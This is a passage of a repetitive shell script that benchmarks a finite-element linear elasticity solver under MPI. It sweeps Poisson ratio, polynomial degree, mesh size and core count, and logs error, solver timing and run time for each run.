2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"145_linE_nu_0.499999_deg_4_h_5_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"145_linE_nu_0.499999_deg_4_h_5_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"146_linE_nu_0.499999_deg_4_h_5_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"146_linE_nu_0.499999_deg_4_h_5_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"147_linE_nu_0.499999_deg_4_h_6_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"147_linE_nu_0.499999_deg_4_h_6_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"148_linE_nu_0.499999_deg_4_h_6_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"148_linE_nu_0.499999_deg_4_h_6_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"149_linE_nu_0.499999_deg_4_h_6_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"149_linE_nu_0.499999_deg_4_h_6_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"150_linE_nu_0.499999_deg_4_h_10_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"150_linE_nu_0.499999_deg_4_h_10_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"151_linE_nu_0.499999_deg_4_h_10_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"151_linE_nu_0.499999_deg_4_h_10_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"152_linE_nu_0.499999_deg_4_h_10_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"152_linE_nu_0.499999_deg_4_h_10_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"153_linE_nu_0.499999_deg_4_h_11_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"153_linE_nu_0.499999_deg_4_h_11_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"154_linE_nu_0.499999_deg_4_h_11_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"154_linE_nu_0.499999_deg_4_h_11_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"155_linE_nu_0.499999_deg_4_h_11_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"155_linE_nu_0.499999_deg_4_h_11_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"156_linE_nu_0.3_deg_1_h_26_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"156_linE_nu_0.3_deg_1_h_26_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"157_linE_nu_0.3_deg_1_h_26_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"157_linE_nu_0.3_deg_1_h_26_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"158_linE_nu_0.3_deg_1_h_26_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"158_linE_nu_0.3_deg_1_h_26_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"159_linE_nu_0.3_deg_1_h_76_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"159_linE_nu_0.3_deg_1_h_76_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"160_linE_nu_0.3_deg_1_h_76_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"160_linE_nu_0.3_deg_1_h_76_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"161_linE_nu_0.3_deg_1_h_76_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"161_linE_nu_0.3_deg_1_h_76_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"162_linE_nu_0.3_deg_1_h_77_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"162_linE_nu_0.3_deg_1_h_77_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"163_linE_nu_0.3_deg_1_h_77_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"163_linE_nu_0.3_deg_1_h_77_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"164_linE_nu_0.3_deg_1_h_77_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"164_linE_nu_0.3_deg_1_h_77_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"165_linE_nu_0.3_deg_1_h_125_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"165_linE_nu_0.3_deg_1_h_125_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"166_linE_nu_0.3_deg_1_h_125_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"166_linE_nu_0.3_deg_1_h_125_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"167_linE_nu_0.3_deg_1_h_125_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"167_linE_nu_0.3_deg_1_h_125_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"168_linE_nu_0.3_deg_2_h_6_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"168_linE_nu_0.3_deg_2_h_6_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"169_linE_nu_0.3_deg_2_h_6_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"169_linE_nu_0.3_deg_2_h_6_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"170_linE_nu_0.3_deg_2_h_6_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"170_linE_nu_0.3_deg_2_h_6_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"171_linE_nu_0.3_deg_2_h_10_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"171_linE_nu_0.3_deg_2_h_10_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"172_linE_nu_0.3_deg_2_h_10_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"172_linE_nu_0.3_deg_2_h_10_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"173_linE_nu_0.3_deg_2_h_10_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"173_linE_nu_0.3_deg_2_h_10_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"174_linE_nu_0.3_deg_2_h_11_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"174_linE_nu_0.3_deg_2_h_11_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"175_linE_nu_0.3_deg_2_h_11_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"175_linE_nu_0.3_deg_2_h_11_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"176_linE_nu_0.3_deg_2_h_11_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"176_linE_nu_0.3_deg_2_h_11_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"177_linE_nu_0.3_deg_2_h_18_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"177_linE_nu_0.3_deg_2_h_18_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"178_linE_nu_0.3_deg_2_h_18_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"178_linE_nu_0.3_deg_2_h_18_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"179_linE_nu_0.3_deg_2_h_18_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"179_linE_nu_0.3_deg_2_h_18_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"180_linE_nu_0.3_deg_2_h_19_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"180_linE_nu_0.3_deg_2_h_19_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"181_linE_nu_0.3_deg_2_h_19_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"181_linE_nu_0.3_deg_2_h_19_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"182_linE_nu_0.3_deg_2_h_19_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"182_linE_nu_0.3_deg_2_h_19_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"183_linE_nu_0.3_deg_3_h_4_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"183_linE_nu_0.3_deg_3_h_4_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"184_linE_nu_0.3_deg_3_h_4_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"184_linE_nu_0.3_deg_3_h_4_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"185_linE_nu_0.3_deg_3_h_4_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"185_linE_nu_0.3_deg_3_h_4_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"186_linE_nu_0.3_deg_3_h_5_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"186_linE_nu_0.3_deg_3_h_5_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"187_linE_nu_0.3_deg_3_h_5_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"187_linE_nu_0.3_deg_3_h_5_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"188_linE_nu_0.3_deg_3_h_5_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"188_linE_nu_0.3_deg_3_h_5_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 32 